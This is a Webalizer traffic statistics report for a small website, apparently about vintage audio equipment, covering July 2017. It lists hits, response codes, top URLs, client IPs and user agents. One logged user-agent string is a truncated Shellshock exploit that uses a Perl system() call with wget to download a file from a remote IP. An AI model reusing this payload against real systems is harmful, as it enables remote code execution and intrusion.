Usage Statistics for www1.g8.pair.com

Summary Period: July 2017
Generated 03-Aug-2017 00:16 EDT

[URLs] [Sites] [Agents]

Monthly Statistics for July 2017
Total Hits 9135
Total Files 4434
Total Pages 5501
Total Visits 2272
Total KBytes 150343
Total Unique Sites 1071
Total Unique URLs 922
Total Unique User Agents 348
. Avg Max
Hits per Hour 12 462
Hits per Day 294 756
Files per Day 143 603
Pages per Day 177 681
Sites per Day 34 88
Visits per Day 73 122
KBytes per Day 4850 11187
Hits by Response Code
Code 200 - OK 48.54% 4434
Code 206 - Partial Content 4.28% 391
Code 301 - Moved Permanently 0.49% 45
Code 304 - Not Modified 9.45% 863
Code 400 - Bad Request 5.45% 498
Code 401 - Unauthorized 0.89% 81
Code 403 - Forbidden 0.33% 30
Code 404 - Not Found 30.55% 2791
Code 405 - Method Not Allowed 0.02% 2

Top 10 of 922 Total URLs By KBytes
# Hits KBytes URL
1 614 6.72% 35421 23.56% /PHONOLAND/
2 8 0.09% 19395 12.90% /PHONOLAND/7.gif
3 146 1.60% 7814 5.20% /PHONOLAND/images3/pdrm7499.jpg
4 21 0.23% 5440 3.62% /PHONOLAND/images5/1958grundig-tk830bg.jpg
5 11 0.12% 3011 2.00% /PHONOLAND/images5/1965grundig-c100bg.jpg
6 4 0.04% 2839 1.89% /PHONOLAND/images5/1958grundig-tascbg.jpg
7 1217 13.32% 1759 1.17% /
8 33 0.36% 1416 0.94% /PHONOLAND/graphophone.html
9 7 0.08% 1229 0.82% /PHONOLAND/images3/pdrm4607a.jpg
10 6 0.07% 1134 0.75% /PHONOLAND/images5/1954grundig-stentesbg.jpg

Top 30 of 1071 Total Sites
# Hits Files KBytes Visits Hostname
1 500 5.47% 6 0.14% 249 0.17% 6 0.26% 69.196.253.30
2 481 5.27% 10 0.23% 150 0.10% 33 1.45% 77.88.47.28
3 419 4.59% 419 9.45% 628 0.42% 419 18.44% 91.230.47.3
4 306 3.35% 294 6.63% 3327 2.21% 1 0.04% 46.4.32.75
5 272 2.98% 22 0.50% 440 0.29% 17 0.75% 77.88.47.15
6 251 2.75% 117 2.64% 961 0.64% 1 0.04% 142.4.215.116
7 251 2.75% 117 2.64% 961 0.64% 1 0.04% 188.165.234.52
8 251 2.75% 117 2.64% 961 0.64% 1 0.04% 94.23.27.166
9 244 2.67% 26 0.59% 341 0.23% 30 1.32% 5.255.250.8
10 243 2.66% 3 0.07% 95 0.06% 1 0.04% 221.193.241.36
11 206 2.26% 19 0.43% 313 0.21% 30 1.32% 141.8.144.38
12 150 1.64% 143 3.23% 1258 0.84% 1 0.04% 5.9.144.234
13 122 1.34% 121 2.73% 10559 7.02% 34 1.50% 207.46.13.115
14 115 1.26% 18 0.41% 716 0.48% 1 0.04% 5.9.81.11
15 95 1.04% 91 2.05% 3019 2.01% 17 0.75% 40.77.167.37
16 94 1.03% 3 0.07% 76 0.05% 3 0.13% 66.249.73.132
17 89 0.97% 89 2.01% 5297 3.52% 36 1.58% 46.118.124.89
18 89 0.97% 89 2.01% 5297 3.52% 30 1.32% 46.118.125.174
19 86 0.94% 85 1.92% 3035 2.02% 10 0.44% 157.55.39.100
20 81 0.89% 81 1.83% 4821 3.21% 26 1.14% 178.137.4.41
21 79 0.86% 66 1.49% 2131 1.42% 23 1.01% 207.46.13.70
22 75 0.82% 75 1.69% 4464 2.97% 23 1.01% 46.119.116.109
23 71 0.78% 71 1.60% 105 0.07% 41 1.80% 38.107.180.164
24 68 0.74% 4 0.09% 44 0.03% 1 0.04% 80.241.214.123
25 65 0.71% 56 1.26% 1463 0.97% 22 0.97% 207.46.13.111
26 57 0.62% 50 1.13% 289 0.19% 2 0.09% 67.180.212.13
27 56 0.61% 2 0.05% 58 0.04% 1 0.04% 94.180.174.197
28 53 0.58% 19 0.43% 1312 0.87% 9 0.40% 66.249.75.3
29 52 0.57% 14 0.32% 398 0.26% 14 0.62% 141.8.144.134
30 49 0.54% 21 0.47% 1403 0.93% 5 0.22% 66.249.75.5

Top 10 of 1071 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 122 1.34% 121 2.73% 10559 7.02% 34 1.50% 207.46.13.115
2 89 0.97% 89 2.01% 5297 3.52% 36 1.58% 46.118.124.89
3 89 0.97% 89 2.01% 5297 3.52% 30 1.32% 46.118.125.174
4 81 0.89% 81 1.83% 4821 3.21% 26 1.14% 178.137.4.41
5 28 0.31% 28 0.63% 4595 3.06% 4 0.18% 40.77.167.137
6 75 0.82% 75 1.69% 4464 2.97% 23 1.01% 46.119.116.109
7 39 0.43% 34 0.77% 3365 2.24% 1 0.04% 86.139.191.109
8 306 3.35% 294 6.63% 3327 2.21% 1 0.04% 46.4.32.75
9 86 0.94% 85 1.92% 3035 2.02% 10 0.44% 157.55.39.100
10 1 0.01% 1 0.02% 3030 2.02% 0 0.00% 71.178.192.230

Top 15 of 348 Total User Agents
# Hits User Agent
1 1114 12.19% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
2 875 9.58% Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)
3 750 8.21% Mozilla/5.0 (compatible; MJ12bot/v1.4.7; http://mj12bot.com/)
4 699 7.65% Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
5 500 5.47% Blackboard Safeassign/0.1 (a Storm-based Blackboard Safeassign web-crawler; https://github.com/DigitalPebble/storm-crawler; s
6 349 3.82% Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
7 295 3.23% Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
8 291 3.19% Googlebot-Image/1.0
9 249 2.73% Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30
10 249 2.73% Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/10.04 Chromium/12.0.742.112 Chrome/12.0.742.112
11 249 2.73% Mozilla/5.0 (X11; U; Linux i586; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.1 Safari/533.2
12 243 2.66% () { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://27.118.21.217/piqka.c
13 120 1.31% MobileSafari/602.1 CFNetwork/811.4.18 Darwin/16.5.0
14 97 1.06% Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safa
15 93 1.02% Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile S


Generated by Webalizer Version 2.23